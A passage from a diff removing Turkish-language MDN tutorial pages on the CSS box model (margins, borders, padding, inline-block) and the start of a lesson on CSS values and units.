<code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code>, ve <code>padding</code> niteliklerini CSS kodu bulunmakta:</p> - -<pre class="brush: css notranslate">.box { - width: 350px; - height: 150px; - margin: 10px; - padding: 25px; - border: 5px solid black; -} -</pre> - -<p>Standart kutu modelini kullanan kutumuzun kapladığı gerçek alan, dolgu ve kenarlıkta hesaba katıldığında, genişliği 410px(350 + 25 + 25 + 5 + 5) ve yüksekliği 210px(150 + 25 + 25 + 5 + 5) olacaktır.</p> - -<p><img alt="Showing the size of the box when the standard box model is being used." src="https://mdn.mozillademos.org/files/16559/standard-box-model.png" style="height: 300px; width: 500px;"></p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Kenar boşluğu, kutunun gerçek boyutuna dahil edilmez. Elbette kutunun sayfada kaplayacağı alanı etkileyecektir fakat yalnızca kutunun dışındaki alanı etkiler. Kutunun alanı kenarlıkta durur, kenar boşluğuna uzamaz. Daha iyi anlaşılabilmesi için: Bir odaya koyacağımız 35cm genişliğinde ve 15cm uzunluğunda kolilerimizin olduğunu düşünelim. Bu kolileri odanın zeminine sıralarken aralarında 1mt mesafe bıraktığımızı düşünelim. Kolilerin arasında bıraktığımız 1mt'lik boşluk kolimizin genişliğini ve uzunluğunu etkilemez fakat odanın alacağı koli adedini etkiler.</p> -</div> - -<h3 id="Alternatif_CSS_kutu_modeli">Alternatif CSS kutu modeli</h3> - -<p>Kutunun gerçek boyutunu elde etmek için dolgu ve kenarlığı eklemenin oldukça sakıncalı olduğunu düşünebilirsin ve bunda da haklısın! Bu nedenle CSS, standart kutu modelinden bir süre sonra alternatif bir kutu modeli tanıttı. Bu modeli kullandığında, kutunun genişlik ve yüksekliği sayfada görünür kutunun genişliği ve yüksekliğidir. Bu nedenle içerik alanının genişliği ve yüksekliği, dolgu ve kenarlık ölçülerinin belirtilen değerden çıkartılmasıyla hesaplanır.Yukarıda kullanılan CSS, aşağıdaki sonucu verecektir. (Genişlik: 350px, yükseklik=150px)</p> - -<p><img alt="Showing the size of the box when the alternate box model is being used." src="https://mdn.mozillademos.org/files/16557/alternate-box-model.png" style="height: 240px; width: 440px;"></p> - -<p>Varsayılan olarak, tarayıcılar standart kutu modelini kullanır. Bir öğeye alternatif modeli tanımlayabilmen için <code>box-sizing: border-box</code> tanımını yapman gerekmektedir. Bu sayede tarayıcıya, belirlediğin herhangi bir boyut için, kenarlığı dikkate almasını söylemiş olursun.</p> - -<pre class="brush: css notranslate"><code>.box { - box-sizing: border-box; -} </code></pre> - -<p>Tüm öğelerinin alternatif kutu modelini kullanmasını istiyorsan <code>box-sizing</code> özelliğini <code><html></code> öğesinin üzerinde tanımlayın, ardından aşağıdaki önernekteki gibi tüm diğer öğelerin bu değeri miras alacak şekilde ayarlayın. Bunun arkasındaki püf noktasını anlayabilmen için,<a href="https://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/">CSS'de Kutu Boyutlandırma Hakkındaki Püf Noktalar'a</a> bakın.</p> - -<pre class="brush: css notranslate"><code class="language-css"><span class="selector token">html</span> <span class="punctuation token">{</span> - <span class="property token">box-sizing</span><span class="punctuation token">:</span> border-box<span class="punctuation token">;</span> -<span class="punctuation token">}</span> -<span class="selector token">*, *<span class="pseudo-element token">::before</span>, *<span class="pseudo-element token">::after</span></span> <span class="punctuation token">{</span> - <span class="property token">box-sizing</span><span class="punctuation token">:</span> inherit<span class="punctuation token">;</span> -<span class="punctuation token">}</span></code></pre> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Geçmişten ilginç bir bilgi — Internet Explorer varsayılan olarak alternatif kutu modelini kullanıyordu ve geçiş için herhangi bir mekanizması mevcut değildi.</p> -</div> - -<h2 id="Kutu_modelleriyle_oynamak">Kutu modelleriyle oynamak</h2> - -<p>Aşağıda iki kutu görüyorsun. Bu kutular aynı <code>.box</code> sınıfına dahiller ve bu sınıf ikisinede aynı <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code>, ve <code>padding</code> özelliklerin atamasını yapar. Tek fark, ikinci kutu aynı zamanda alternatif kutu modelini kullanacak şekilde ayarlanmış olmasıdır.</p> - -<p><strong>İkinci kutunun boyutunu(<code>.alternate</code> sınıfına ekleyerek) ilk kutuyla eşleşecek şekilde değiştirebilir misin?</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/box-models.html", '100%', 1000)}} </p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: <a href="https://github.com/mdn/css-examples/blob/master/learn/solutions.md#the-box-model">Burada</a>, bu görev için bir çözüm bulabilirsin..</p> -</div> - -<h3 id="Kutu_modelini_görüntüleyebilmek_için_tarayıcı_DevToolsu_kullanın">Kutu modelini görüntüleyebilmek için tarayıcı DevTools'u kullanın</h3> - -<p><a href="/tr/docs/Learn/Common_questions/What_are_browser_developer_tools">Tarayıcı geliştirme araçlarıyla(developer tools)</a> kutu modelini daha rahat anlayabilirsin. Firefox'un geliştirme araçlarında bir öğeyi incelersen, öğenin boyutunun yanı sıra, kenar boşluğunun, dolgusunun, kenarlığınında özelliklerini görebilirsin. Bir öğeyi bu şekilde incelemek, kutunun gerçekten düşündüğün boyutta olup olmadığını görmenin harika bir yoludur.</p> - -<p><img alt="Inspecting the box model of an element using Firefox DevTools" src="https://mdn.mozillademos.org/files/16560/box-model-devtools.png" style="height: 683px; width: 1150px;"></p> - -<h2 id="Kenar_boşluğu_dolgu_ve_kenarlıklar">Kenar boşluğu, dolgu ve kenarlıklar</h2> - -<p>Yukarıda zaten {{cssxref("margin")}}, {{cssxref("padding")}}, ve {{cssxref("border")}}'ın ne şekilde kullanıldıklarını gördün. Bu örneklerde kullanılan nitelikler <strong>kısayollardır</strong> ve kutunun dört kenarını da aynı anda ayarlamana olanak sağlar. Bu kısayolların aynı zamanda, kutunun farklı tarafları üzerinde ayrı ayrı kontrol sağlayan eşdeğer nitelikleri de vardır.</p> - -<p>Şimdi bu nitelikleri daha detaylı inceleyelim.</p> - -<h3 id="Kenar_boşluğumargin">Kenar boşluğu(margin)</h3> - -<p>Kenar boşluğu, kutunun etrafındaki görünmez bir alandır. Diğer öğeleri kutudan uzaklaştırır. Kenar boşluklarının pozitif ve negatif değerleri olabilir. Kutunun bir tarafına, negatif bir kenar boşluğu ayarlamak, kutunun sayfadaki diğer öğelerle çakışmasına neden olabilir. İster standart ister alternatif kutu modelini kullanıyor olun, kenar boşluğu her zaman görünür kutunun boyutu hesaplandıktan sonra eklenir.</p> - -<p>{{cssxref("margin")}} niteliğini kullanarak bir öğenin tüm kenar boşluklarını tek seferde veya eşdeğer nitelikleri kullanarak her bir tarafı tek tek de kontrol edebilirsin:</p> - -<ul> - <li>{{cssxref("margin-top")}}</li> - <li>{{cssxref("margin-right")}}</li> - <li>{{cssxref("margin-bottom")}}</li> - <li>{{cssxref("margin-left")}}</li> -</ul> - -<p><strong>Aşağıdaki örnekte, İçerideki kutunun sahip olduğu kenar boşlukları üzerinde ki negatif değerlerin ne şekilde etki ettiğini, kutunun ne şekilde itildiğini ve dışarıdaki kutuyu nasıl etkilediğini görebilmek için kenar boşluğu değerlerini değiştirin.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/margin.html", '100%', 1000)}} </p> - -<h4 id="Kenar_boşluğunun_daralması">Kenar boşluğunun daralması</h4> - -<p>Kenar boşlukları hakkında anlaşılması gereken önemli bir konu daha vardır, kenar boşluğunun daralma kavramı. Kenar boşlukları birbirine temas eden iki öğen varsa ve her iki kenar boşluğu da pozitif ise, bu kenar boşlukları birleşerek, en büyük kenar boşluğuna sahip öğenin kenar boşluğu kadar birbirlerinden uzaklaşırlar. Kenar boşluklarından biri veya ikisi de negatifse, negatif değer, sayısal değeri büyük olan değerden çıkartılarak çıkan sonuç kenar boşluğu olarak belirlenir.</p> - -<p>Aşağıdaki örnekte iki paragrafımız var. Üst paragrafta <code>margin-bottom: 50px</code> olarak tanımlanmış. İkinci paragraf ise <code>margin-top: 30px</code> olarak tanımlanmıştır. Kenar boşluğu daralması gerçekleşmiş ve ikisi arasında iki değerin toplamı kadar değilde en büyük değer olan <strong>50px</strong> kadar boşluk oluşmuştur.</p> - -<p><strong><code>margin-top</code> niteliğine 0 değerini atayarakta bunu test edebilirsin. Bu tür bir tanımlamada iki paragraf arasındaki görünür kenar boşluğu değişmez. Birinci paragrafta tanımlanan <code>bottom-margin: 50px</code> değeri korunur. Eğer <code>margin-top: -10px</code> olarak tanımlarsan aradaki boşluğun 40px olduğunu görürsün. 50px - 10px = 40px.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/margin-collapse.html", '100%', 1000)}} </p> - -<p>Kenar boşluklarının ne zaman azalacağını ve ne zaman kapanmayacağını belirleyen birkaç kural vardır. Daha fazla bilgi için, <a href="/tr/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">kenar boşluğu daraltmayla</a> ilgili sayfaya bakın. Şimdilik hatırlaman gereken en önemli şey, kenar daralmasının gerçekleşen bir durum olduğudur. Kenar boşluklu alan yaratıyorsan ve beklediğin alanı alamıyorsan, muhtemelen olan budur.</p> - -<div class="blockIndicator note"> -<p><strong>Not:</strong> Aslında bu mantıksız bir davranış değildir. Daha önce kenar boşluğunun kutunun boyutuna dahil edilmediğinden bahsetmiştik. Pozitif bir kenar boşluğu verdiğimizde, tarayıcıya bu kutu ile diğer kutular arasında en az bu kadar boşluk olacak diyoruz. Yukarıdaki örnekte ikinci kutunun diğer kutudan 30piksel uzakta olması gerekiyor fakat ilk kutu zaten 50piksel bir mesafe koymuş. Bu yüzden ikinci kutunun sahip olması gereken mesafe fazlasıyla sağlandığından bir işlem yapılması gerekmiyor.</p> -</div> - -<h3 id="Kenarlık">Kenarlık</h3> - -<p>Kenarlık, kenar boşluğu ile kutunun dolgusu arasına çizilir. Standart kutu modelini kullanıyorsan, sınırın boyutu kutunun <code>width</code> ve <code>heigh</code> niteliklerinin değerlerine eklenir. Alternatif kutu modelini kullanıyorsan, kenarlığın boyutu, mevcut alanın bir kısmını kapladığı için içerik kısmını küçültür.</p> - -<p>Kenarlıkları şekillendirmek için çok sayıda özellik vardır — dört kenarlık vardır ve her kenarlığın üzerinde değişiklik yapmak isteyebileceğin stil, renk ve genişlik özellikleri vardır.</p> - -<p>{{cssxref("border")}} niteliği ile bu dört kenarlığın stilini, rengi ve genişliğini aynı anda ayarlayabilirsin.</p> - -<p>Her bir kenarın özelliklerini ayrı ayrı tanımlamak için şunları kullanabilirsin:</p> - -<ul> - <li>{{cssxref("border-top")}}</li> - <li>{{cssxref("border-right")}}</li> - <li>{{cssxref("border-bottom")}}</li> - <li>{{cssxref("border-left")}}</li> -</ul> - -<p>Her kenarın stilini, rengini ve genişliğini ayarlamak için şunları kullanabilirsin:</p> - -<ul> - <li>{{cssxref("border-width")}}</li> - <li>{{cssxref("border-style")}}</li> - <li>{{cssxref("border-color")}}</li> -</ul> - -<p>Her bir kenarın stil, renk ve genişlik ayarlarını ayrı ayrı yapmak istediğinde aşağıdaki nitelikleri kullanabilirsin:</p> - -<ul> - <li>{{cssxref("border-top-width")}}</li> - <li>{{cssxref("border-top-style")}}</li> - <li>{{cssxref("border-top-color")}}</li> - <li>{{cssxref("border-right-width")}}</li> - <li>{{cssxref("border-right-style")}}</li> - <li>{{cssxref("border-right-color")}}</li> - <li>{{cssxref("border-bottom-width")}}</li> - <li>{{cssxref("border-bottom-style")}}</li> - <li>{{cssxref("border-bottom-color")}}</li> - <li>{{cssxref("border-left-width")}}</li> - <li>{{cssxref("border-left-style")}}</li> - <li>{{cssxref("border-left-color")}}</li> -</ul> - -<p><strong>Aşağıdaki örnekte, çeşitli kenarlıklar oluşturabilmek için kenarlık özelliğinin çeşitli niteliklerinden bazılarını kullandık. Nasıl çalıştıklarını daha iyi anlayabilmek için bazı niteliklerin değerlerini değiştirin yada yeni nitelikler ekleyin. Kenarlık özellikleri için MDN sayfaları, aralarında seçim yapabileceğin farklı kenarlık stilleri hakkında bilgi verir.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/border.html", '100%', 1000)}} </p> - -<h3 id="Dolgu">Dolgu</h3> - -<p>Dolgu, Kenarlık ve içerik arasında bulur. Kenar boşluklarının aksine, negatif değer alamazlar. bu nedenle değri 0 yada pozitif bir değer olmalıdır. Öğene uygulanan herhengi bir arka plan, dolgunun arkasında görüntülenir ve genellikle içeriği sınırdan uzaklaştırmak için kullanır.</p> - -<p>{{cssxref("padding")}} niteliği ile bir öğenin dolgusunu bir seferde tanımlayabilirsin yada her tarafın dolgusunu ayrı ayrı tanımlamak için aşağıdaki nitelikleri kullanabilirsin.</p> - -<ul> - <li>{{cssxref("padding-top")}}</li> - <li>{{cssxref("padding-right")}}</li> - <li>{{cssxref("padding-bottom")}}</li> - <li>{{cssxref("padding-left")}}</li> -</ul> - -<p><strong>Aşağıdaki örnekte bulunan <code>.box</code> sınıfındaki dolgu niteliklerinin değerlerini değiştirerek içerideki kutunun içindeki metnin kutuya göre yerleşimindeki değişimleri gözlemleyebilirsin.</strong></p> - -<p><strong>Ayrıca <code>.container</code> sınıfı ile, birinci kutu ile ikinci kutu arasındaki bulunan boşluğu değiştirebilirsin. Dolgu herhangi bir öğe üzerinde uygulanabilir ve kenarlık ile içerik kısmında ne varsa onunla arasına mesafe bırakılmasını sağlar.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/padding.html", '100%', 800)}} </p> - -<h2 id="Kutu_modeli_ve_satır_içi_kutular">Kutu modeli ve satır içi kutular</h2> - -<p>Yukarıdakilerin tümü tamamen blok kutuları için geçerlidir. <code><span></code> gibi bazı satır içi kutulara sahip öğelere de kutu modeli uygulanabilir.</p> - -<p>Aşağıdaki örnekte, paragraf içerisinde bir adet <code><span></code> var. Bu satır içi kutuya <code>width</code><font><font>,<span> </span></font></font><code>height</code><font><font>,<span> </span></font></font><code>margin</code><font><font>,<span> </span></font></font><code>border</code><font><font>, ve<span> </span></font></font><code>padding</code> uyguladık. Genişlik ve yüksekliğin göz ardı edildiğini görebilirsin. Dikey; kenar boşlukları, dolgu ve kenarlıklar uygulanır, ancak bunlar diğer içeriğin satır içi kutumuzla ilişkisini değiştirmez ve bu nedenle dolgu ve kenarlık, paragraftaki diğer kelimelerle çakışır. Yatay; dolgu, kenar boşlukları ve kenarlıklara uyulur ve içeriğin kutudan uzakşamasına neden olur.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-box-model.html", '100%', 800)}} </p> - -<div class="blockIndicator note"> -<p>Satır içi kutular içinde bulundukları satırı etkileyebilirler. Kendilerinden önceki veya sonraki satırları ve satırların içeriğini etkileyemezler.</p> -</div> - -<h2 id="display_inline-block_kullanımı">display: inline-block kullanımı</h2> - -<p><code>display</code> niteliğinin özel bir değeri vardır. Bu değer, bir öğenin yeni bir satıra geçmesini istemediğimiz, ayrıca yukarıdaki örnekte olduğu gibi bir çakışmanın da olmasını istemediğimiz durumlarda kullanışlıdır.</p> - -<p><code>display: inline-block</code> bir öğeye zaten bildiğimiz blok kutuların davranışlarından bazılarını kazandırır:</p> - -<ul> - <li><code>width</code> ve <code>height</code> nitelikleri uygulanır.</li> - <li><code>padding</code>, <code>margin</code>, ve <code>border</code> nitelikleri diğer öğelerin kutudan uzağa itilmesine neden olur.</li> -</ul> - -<p>Bunlarla birlikte, yeni bir satıra bölünmez ve sadece, <code>width</code> ve <code>height</code> nitelikleri belirtilirse içeriğinden daha büyük hale gelir.</p> - -<p><strong>Bu sonraki örnekte, <code><span></code> öğesine eklediğimiz <code>display: inline-block</code> komutunu <code>display: block</code> olarak değiştirmeyi veya satırı tamamen kaldırmayı deneyin.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block.html", '100%', 800)}} </p> - -<p>Bunun yararının görülebileceği bir örnek vermek gerekirse; <code>padding</code> uygulayarak daha büyük isabet alanına sahip bağlantı öğeleri eklemek isteyebiliriz. oysa <code><a></code> öğesi <code><span></code> gibi bir satır içi öğesidir ve <code>padding</code> istediğimiz gibi davranmayacaktır. Bunun için, <code>display: inline-block</code> tanımını kullanarak dolgunun diğer öğelerle daha iyi izalanmasını izin vererek kullanıcının bağlantıya tıklamasını kolaylaştırırız.</p> - -<p>Bunu gezinme çubuklarında oldukça sık görüyorsun. Aşağıdaki navigasyonda flexbox kullanılarak bağlantıların yatay görüntülenmesini sağladık. <code><a></code> bağlantı öğesinin isabet alanını genişletmek için dolgu ve görünebilir olması için öğemize bir arkaplan rengi tanımladık. Örneğimizde de görebileceğin gibi <u>dolgu</u>, <code><ul></code> öğesinin üzerindeki kenarlık ile çakışıyor. Bunun nedeni, <code><a></code>'nın bir satır içi öğe olmasıdır.</p> - -<p><strong><code>.links-list a</code></strong> <strong>seçicisine <code>display: inline-block</code> kuralını eklediğin de, dolgunun diğer öğeler tarafından dikkate alındığını ve bu sorunun giderildiğini göreceksin.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block-nav.html", '100%', 600)}} </p> - -<h2 id="Becerilerini_test_et!">Becerilerini test et!</h2> - -<p>Bu dersimizde çok şey ela aldık, ancak en önemli bilgileri hatırlıyor musun? Devam etmeden önce bu bilgileri öğrendiğini doğrulamak için bazı ek testler hazırladım — <a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Box_Model_Tasks">Becerilerini test et: Kutu Modeli</a>.</p> - -<h2 id="Özet">Özet</h2> - -<p>Kutu modeli hakkında bilmen gerekenlerin çoğu bu. İleride çok fazla kutu ile çalışmaya başladığında kafan karışırsa, bu derse geri dönmek isteyebilirisn.</p> - -<p>Bir sonraki derste, düz kutularının daha ilginç görünmesini sağlama için <a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">arka planların ve kenarlıkların</a> nasıl kullanılabileceğine bir göz atacağız.</p> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/values_and_units/index.html b/files/tr/learn/css/building_blocks/values_and_units/index.html deleted file mode 100644 index 50ce4de9f7..0000000000 --- a/files/tr/learn/css/building_blocks/values_and_units/index.html +++ /dev/null @@ -1,415 +0,0 @@ ---- -title: CSS değerleri ve birimleri -slug: Learn/CSS/Building_blocks/Values_and_units -tags: - - Acemi - - Beginner - - CSS - - Durum - - Eğitim - - Function - - Image - - Learn - - Number - - Position - - Renk - - Resim - - birimler - - color - - değerler - - fonksiyon - - length - - numara - - percentage - - units - - uzunluk - - values - - yüzde -translation_of: Learn/CSS/Building_blocks/Values_and_units -original_slug: Öğren/CSS/CSS_yapi_taslari/Values_and_units ---- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}</div> - -<p>CSS'de kullanılan her niteliğin, o nitelik için izin verilen değer kümesini tanımlayan bir değer türü vardır. Bu derste en sık kullanılan değer türlerinden bazılarına ve bunların en yaygın değerlerine ve birimlerine bir göz atacağız. Ayrıca MDN'deki nitelik sayfalarındaki açıklamalara göz atman, belirli bir nitelik için geçerli olan değer türüyle ilişkili değerleri anlamana yardımcı olacaktır.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>CSS niteliklerinde kullanılan farklı değer ve birimler hakkında bilgi edinmek</td> - </tr> - </tbody> -</table> - -<h2 id="CSS_değeri_nedir">CSS değeri nedir?</h2> - -<p>CSS eğitiminde ve MDN'deki nitelik sayfalarında, değer türlerini açılı parantezlerle çevrili olarak göreceksin, <code><a href="/tr/docs/Web/CSS/color_value"><color></a></code> veya <code><a href="/tr/docs/Web/CSS/length"><length></a></code> gibi. <code><color></code> veri türünün herhangi bir nitelik için kullanılabilir olduğunu gördüğünüzde; <code><a href="/tr/docs/Web/CSS/color_value"><color></a></code> referans sayfasında listelenen değerin, bu niteliğe uygulanabilir olduğu anlamına gelir.</p> - -<div class="blockIndicator note"> -<p><strong>Note</strong>: <em>Veri türleri</em> olarak adlandırılan CSS değerlerini de görürsünüz. Terimler temelde birbirinin yerine kullanılabilir. CSS'de veri türü olarak adlandırılan bir terim gördüğünüzde, bu değer türünü söylemenin süslü bir yoludur. Veri türü kullanılmak istenilen, değer türü tarafından desteklenen herhangi bir ifade anlamına gelir.</p> -</div> - -<div class="blockIndicator note"> -<p><strong>Note</strong>: Evet, CSS değer türleri ile CSS niteliklerini (örn. {{cssxref("color")}} nitelik, <a href="/tr/docs/Web/CSS/color_value"><color></a> değer türü). ayırt edebilmek için genellikle açılı parantezler kullanılarak gösterilir. HTML öğeleri ile CSS değer türlerinin ikiside açılı parantezler kullanılarak gösterildiklerinden, kafan karışabilir ancak işlev olarak aynı değillerdir — çok farklı kavramlar için kullanılırlar.</p> -</div> - -<p>Aşağıdaki örnekte, bir anahtar kelime kullanarak başlığımızın ve arka plan rengimizi <code>rgb()</code> fonksiyonunu kullanarak ayarladık:</p> - -<pre class="brush: css notranslate"><code>h1 { - color: black; - background-color: rgb(197,93,161); -} </code> -</pre> - -<p>CSS'de bir öğeye değer türüyle, izin verilen değerler kümesinin içinden değer atamanın tek yoludur. <code><color></code> renk değer türünün farklı şekillerde kullanıldığını gördüğünde telaşlanmana gerek yok — Anahtar kelimeler, onaltılık(hex) değerler, <code>rgb()</code> fonksiyounu, gibi. Ayrıca tarayıcılar tarafından desteklenen tüm <code><color></code> değerlerini kullanabilirsin. İstersen her değer için MDN sayfasında tarayıcı desteği hakkında bilgi edinebilirsin. Örn, <code><a href="/tr/docs/Web/CSS/color_value"><color></a></code> sayfasına bakarsan tarayıcı uyumluluğu bölümünün, farklı renk veri türlerinin listelediğini ve bunların hangi sürümler tarafından desteklendiği hakkında bilgi verdiğini göreceksin(rgba(), hsla(),vb).</p> - -<p>Sıklıkla karşılaşabileceğin bazı değer ve birim türlerine örneklerle birlikte bir göz atalım, böylece farklı olası değerleri deneyebilirisin.</p> - -<h2 id="Sayılar_uzunluklar_ve_yüzdeler">Sayılar, uzunluklar ve yüzdeler</h2> - -<p>CSS'de, kullanabileceğin çeşitli sayısal değer türleri vardır. Aşağıdakilerin tümü sayısal olarak sınıflandırılmıştır:</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Veri tipi</th> - <th scope="col">Açıklama</th> - </tr> - </thead> - <tbody> - <tr> - <td><code><a href="/tr/docs/Web/CSS/integer"><integer></a></code></td> - <td><code><integer></code> bir tamsayıyı temsil eder, <code>1024</code> veya <code>-55</code> gibi.</td> - </tr> - <tr> - <td><code><a href="/tr/docs/Web/CSS/number"><number></a></code></td> - <td><code><number></code> ondalıklı bir sayıyı temsil eder — kesirli bileşeni olan bir ondalık basamağa sahip olabilir veya olmayabilir. Örn, <code>0.255</code>, <code>128</code> veya <code>-1.2</code>.</td> - </tr> - <tr> - <td><code><a href="https://developer.mozilla.org/tr/docs/Web/CSS/dimension"><dimension></a></code></td> - <td> <code><dimension></code> bir birime bağlı olan <code><number></code> tipinde bir sayıdır. Örn., <code>45deg</code>, <code>5s</code>, or <code>10px</code>. <code><dimension></code>; <code><a href="/tr/docs/Web/CSS/length"><length></a></code>, <code><a href="/tr/docs/Web/CSS/angle"><angle></a></code>, <code><a href="/tr/docs/Web/CSS/time"><time></a></code>, ve <code><a href="/tr/docs/Web/CSS/resolution"><resolution></a></code> değer türlerini içeren bir kapsayıcı kategoridir<a href="/tr/docs/Web/CSS/resolution">.</a></td> - </tr> - <tr> - <td><code><a href="/tr/docs/Web/CSS/percentage"><percentage></a></code></td> - <td><code><percentage></code> başka bir değerin bir kısmını temsil eder. Örn., <code>50%</code>. Yüzde değeri her zaman başka bir miktara bağlıdır. Örn., bir öğenin uzunluğunun, üst değerin uzunluğuna bağlı olması gibi.</td> - </tr> - </tbody> -</table> - -<h3 id="Uzunluklar">Uzunluklar</h3> - -<p>En sık karşılaşacağın sayısal tür <code><length></code>'dir. Örn. <code>10px</code> (pixels) veya <code>30em</code>. CSS'de kullanılan iki tür uzunluk vardır — bağıl ve mutlak. işlerin ne kadar karışabileceğini anlamak için farkı bilmek önemlidir.</p> - -<h4 id="Mutlak_uzunluk_birimleri">Mutlak uzunluk birimleri</h4> - -<p>Aşağıdakilerin tümü <strong>mutlak</strong> uzunluk birimleridir — başka hiçbir şeye bağlı değildirler ve genellikle her zaman aynı boyutta kabul edilirler.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Birim</th> - <th scope="col">İsim</th> - <th scope="col">Eşittir</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>cm</code></td> - <td>Santimetre</td> - <td>1cm = 96px/2.54</td> - </tr> - <tr> - <td><code>mm</code></td> - <td>Milimetre</td> - <td>1mm = 1/10th of 1cm</td> - </tr> - <tr> - <td><code>Q</code></td> - <td>Çeyrek milimetre</td> - <td>1Q = 1/40th of 1cm</td> - </tr> - <tr> - <td><code>in</code></td> - <td>İnç</td> - <td>1in = 2.54cm = 96px</td> - </tr> - <tr> - <td><code>pc</code></td> - <td>Picas</td> - <td>1pc = 1/6th of 1in</td> - </tr> - <tr> - <td><code>pt</code></td> - <td>Point</td> - <td>1pt = 1/72th of 1in</td> - </tr> - <tr> - <td><code>px</code></td> - <td>Piksel</td> - <td>1px = 1/96th of 1in</td> - </tr> - </tbody> -</table> - -<p>Bu birimlerin çoğu, ekran yerine baskı için kullanıldığında daha kullanışlıdır. Örn., genellike ekranda<code>cm</code>(santimetre) kullanmayız. Yaygın olarak kullanacağın tek değer <code>px</code>(piksel)'dir.</p> - -<h4 id="Bağıl_uzunluk_birimleri">Bağıl uzunluk birimleri</h4> - -<p>Bağıl uzunluk birimleri başka bir şeye, belki de ana öğenin yazı tipinin boyutuna veya görünüm alanının boyutuna bağlıdır. Bağıl birimleri kullanmanın yararı, dikkatli bir planlama ile, metnin veya diğer öğelerin boyutunu sayfadaki diğer her şeye göre ölçeklenmesini sağlabilmendir.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Birim</th> - <th scope="col">Bağıl</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>em</code></td> - <td>Öğenin veya ebeveyninin yazı tipi boyutuna.</td> - </tr> - <tr> - <td><code>ex</code></td> - <td>mevcut yazı tipinin x harfinin yüksekliğine.</td> - </tr> - <tr> - <td><code>ch</code></td> - <td>Öğenin yazı tipinin "0"(sıfır) karakterinin ilerleme ölçüsü(genişliği).</td> - </tr> - <tr> - <td><code>rem</code></td> - <td>Kök(root) öğenin yazı tipi boyutu.</td> - </tr> - <tr> - <td><code>lh</code></td> - <td>Öğenin satır yüksekliği.</td> - </tr> - <tr> - <td><code>vw</code></td> - <td>Görüntü alanı genişliğinin %1'i.</td> - </tr> - <tr> - <td><code>vh</code></td> - <td>Görüntü alanı yüksekliğinin %1'i.</td> - </tr> - <tr> - <td><code>vmin</code></td> - <td>Görüntü alanında küçük olan değerin %1'i.</td> - </tr> - <tr> - <td><code>vmax</code></td> - <td>Görüntü alanının büyük olan değerin %1!i</td> - 